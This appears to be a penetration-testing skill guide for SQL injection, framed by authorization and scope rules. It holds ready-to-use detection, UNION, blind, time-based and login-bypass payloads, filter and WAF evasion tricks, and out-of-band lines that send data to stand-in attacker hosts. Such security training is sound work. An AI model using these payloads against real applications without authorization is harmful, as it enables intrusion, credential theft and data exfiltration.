SQL Injection Testing
Purpose
Execute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms. This skill enables systematic detection and exploitation of SQL injection vulnerabilities across in-band, blind, and out-of-band attack vectors to assess application security posture.
Inputs / Prerequisites
Required Access
- Target web application URL with injectable parameters
- Burp Suite or equivalent proxy tool for request manipulation
- SQLMap installation for automated exploitation
- Browser with developer tools enabled
Technical Requirements
- Understanding of SQL query syntax (MySQL, MSSQL, PostgreSQL, Oracle)
- Knowledge of HTTP request/response cycle
- Familiarity with database schemas and structures
- Write permissions for testing reports
Legal Prerequisites
- Written authorization for penetration testing
- Defined scope including target URLs and parameters
- Emergency contact procedures established
- Data handling agreements in place
Outputs / Deliverables
Primary Outputs
- SQL injection vulnerability report with severity ratings
- Extracted database schemas and table structures
- Authentication bypass proof-of-concept demonstrations
- Remediation recommendations with code examples
Evidence Artifacts
- Screenshots of successful injections
- HTTP request/response logs
- Database dumps (sanitized)
- Payload documentation
Core Workflow
Phase 1: Detection and Reconnaissance
Identify Injectable Parameters
Locate user-controlled input fields that interact with database queries:
# Common injection points
- URL parameters: ?id=1, ?user=admin, ?category=books
- Form fields: username, password, search, comments
- Cookie values: session_id, user_preference
- HTTP headers: User-Agent, Referer, X-Forwarded-For
Test for Basic Vulnerability Indicators
Insert special characters to trigger error responses:
-- Single quote test ' -- Double quote test " -- Comment sequences -- # /**/ -- Semicolon for query stacking ; -- Parentheses )
Monitor application responses for:
- Database error messages revealing query structure
- Unexpected application behavior changes
- HTTP 500 Internal Server errors
- Modified response content or length
Logic Testing Payloads
Verify boolean-based vulnerability presence:
-- True condition tests page.asp?id=1 or 1=1 page.asp?id=1' or 1=1-- page.asp?id=1" or 1=1-- -- False condition tests page.asp?id=1 and 1=2 page.asp?id=1' and 1=2--
Compare responses between true and false conditions to confirm injection capability.
Phase 2: Exploitation Techniques
UNION-Based Extraction
Combine attacker-controlled SELECT statements with original query:
-- Determine column count ORDER BY 1-- ORDER BY 2-- ORDER BY 3-- -- Continue until error occurs -- Find displayable columns UNION SELECT NULL,NULL,NULL-- UNION SELECT 'a',NULL,NULL-- UNION SELECT NULL,'a',NULL-- -- Extract data UNION SELECT username,password,NULL FROM users-- UNION SELECT table_name,NULL,NULL FROM information_schema.tables-- UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
Error-Based Extraction
Force database errors that leak information:
-- MSSQL version extraction 1' AND 1=CONVERT(int,(SELECT @@version))-- -- MySQL extraction via XPATH 1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))-- -- PostgreSQL cast errors 1' AND 1=CAST((SELECT version()) AS int)--
Blind Boolean-Based Extraction
Infer data through application behavior changes:
-- Character extraction 1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'-- 1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'-- -- Conditional responses 1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--
Time-Based Blind Extraction
Use database sleep functions for confirmation:
-- MySQL 1' AND IF(1=1,SLEEP(5),0)-- 1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)-- -- MSSQL 1'; WAITFOR DELAY '0:0:5'-- -- PostgreSQL 1'; SELECT pg_sleep(5)--
Out-of-Band (OOB) Extraction
Exfiltrate data through external channels:
-- MSSQL DNS exfiltration 1; EXEC master..xp_dirtree '\\attacker-server.com\share'-- -- MySQL DNS exfiltration 1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))-- -- Oracle HTTP request 1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--
Phase 3: Authentication Bypass
Login Form Exploitation
Craft payloads to bypass credential verification:
-- Classic bypass admin'-- admin'/* ' OR '1'='1 ' OR '1'='1'-- ' OR '1'='1'/* ') OR ('1'='1 ') OR ('1'='1'-- -- Username enumeration admin' AND '1'='1 admin' AND '1'='2
Query transformation example:
-- Original query SELECT * FROM users WHERE username='input' AND password='input' -- Injected (username: admin'--) SELECT * FROM users WHERE username='admin'--' AND password='anything' -- Password check bypassed via comment
Phase 4: Filter Bypass Techniques
Character Encoding Bypass
When special characters are blocked:
-- URL encoding %27 (single quote) %22 (double quote) %23 (hash) -- Double URL encoding %2527 (single quote) -- Unicode alternatives U+0027 (apostrophe) U+02B9 (modifier letter prime) -- Hexadecimal strings (MySQL) SELECT * FROM users WHERE name=0x61646D696E -- 'admin' in hex
Whitespace Bypass
Substitute blocked spaces:
-- Comment substitution SELECT/**/username/**/FROM/**/users SEL/**/ECT/**/username/**/FR/**/OM/**/users -- Alternative whitespace SELECT%09username%09FROM%09users -- Tab character SELECT%0Ausername%0AFROM%0Ausers -- Newline
Keyword Bypass
Evade blacklisted SQL keywords:
-- Case variation SeLeCt, sElEcT, SELECT -- Inline comments SEL/*bypass*/ECT UN/*bypass*/ION -- Double writing (if filter removes once) SELSELECTECT β SELECT UNUNIONION β UNION -- Null byte injection %00SELECT SEL%00ECT
Quick Reference
Detection Test Sequence
1. Insert ' β Check for error
2. Insert " β Check for error
3. Try: OR 1=1-- β Check for behavior change
4. Try: AND 1=2-- β Check for behavior change
5. Try: ' WAITFOR DELAY '0:0:5'-- β Check for delay
Database Fingerprinting
-- MySQL SELECT @@version SELECT version() -- MSSQL SELECT @@version SELECT @@servername -- PostgreSQL SELECT version() -- Oracle SELECT banner FROM v$version SELECT * FROM v$version
Information Schema Queries
-- MySQL/MSSQL table enumeration SELECT table_name FROM information_schema.tables WHERE table_schema=database() -- Column enumeration SELECT column_name FROM information_schema.columns WHERE table_name='users' -- Oracle equivalent SELECT table_name FROM all_tables SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
Common Payloads Quick List
| Purpose | Payload |
|---|---|
| Basic test | ' or " |
| Boolean true | OR 1=1-- |
| Boolean false | AND 1=2-- |
| Comment (MySQL) | # or -- |
| Comment (MSSQL) | -- |
| UNION probe | UNION SELECT NULL-- |
| Time delay | AND SLEEP(5)-- |
| Auth bypass | ' OR '1'='1 |
Constraints and Guardrails
Operational Boundaries
- Never execute destructive queries (DROP, DELETE, TRUNCATE) without explicit authorization
- Limit data extraction to proof-of-concept quantities
- Avoid denial-of-service through resource-intensive queries
- Stop immediately upon detecting production database with real user data
Technical Limitations
- WAF/IPS may block common payloads requiring evasion techniques
- Parameterized queries prevent standard injection
- Some blind injection requires extensive requests (rate limiting concerns)
- Second-order injection requires understanding of data flow
Legal and Ethical Requirements
- Written scope agreement must exist before testing
- Document all extracted data and handle per data protection requirements
- Report critical vulnerabilities immediately through agreed channels
- Never access data beyond scope requirements
Examples
Example 1: E-commerce Product Page SQLi
Scenario: Testing product display page with ID parameter
Initial Request:
GET /product.php?id=5 HTTP/1.1
Detection Test:
GET /product.php?id=5' HTTP/1.1
Response: MySQL error - syntax error near '''
Column Enumeration:
GET /product.php?id=5 ORDER BY 4-- HTTP/1.1
Response: Normal
GET /product.php?id=5 ORDER BY 5-- HTTP/1.1
Response: Error (4 columns confirmed)
Data Extraction:
GET /product.php?id=-5 UNION SELECT 1,username,password,4 FROM admin_users-- HTTP/1.1
Response: Displays admin credentials
Example 2: Blind Time-Based Extraction
Scenario: No visible output, testing for blind injection
Confirm Vulnerability:
id=5' AND SLEEP(5)-- -- Response delayed by 5 seconds (vulnerable confirmed)
Extract Database Name Length:
id=5' AND IF(LENGTH(database())=8,SLEEP(5),0)-- -- Delay confirms database name is 8 characters
Extract Characters:
id=5' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)-- -- Iterate through characters to extract: 'appstore'
Example 3: Login Bypass
Target: Admin login form
Standard Login Query:
SELECT * FROM users WHERE username='[input]' AND password='[input]'
Injection Payload:
Username: administrator'--
Password: anything
Resulting Query:
SELECT * FROM users WHERE username='administrator'--' AND password='anything'
Result: Password check bypassed, authenticated as administrator.
Troubleshooting
No Error Messages Displayed
- Application uses generic error handling
- Switch to blind injection techniques (boolean or time-based)
- Monitor response length differences instead of content
UNION Injection Fails
- Column count may be incorrect β Test with ORDER BY
- Data types may mismatch β Use NULL for all columns first
- Results may not display β Find injectable column positions
WAF Blocking Requests
- Use encoding techniques (URL, hex, unicode)
- Insert inline comments within keywords
- Try alternative syntax for same operations
- Fragment payload across multiple parameters
Payload Not Executing
- Verify correct comment syntax for database type
- Check if application uses parameterized queries
- Confirm input reaches SQL query (not filtered client-side)
- Test different injection points (headers, cookies)
Time-Based Injection Inconsistent
- Network latency may cause false positives
- Use longer delays (10+ seconds) for clarity
- Run multiple tests to confirm pattern
- Consider server-side caching effects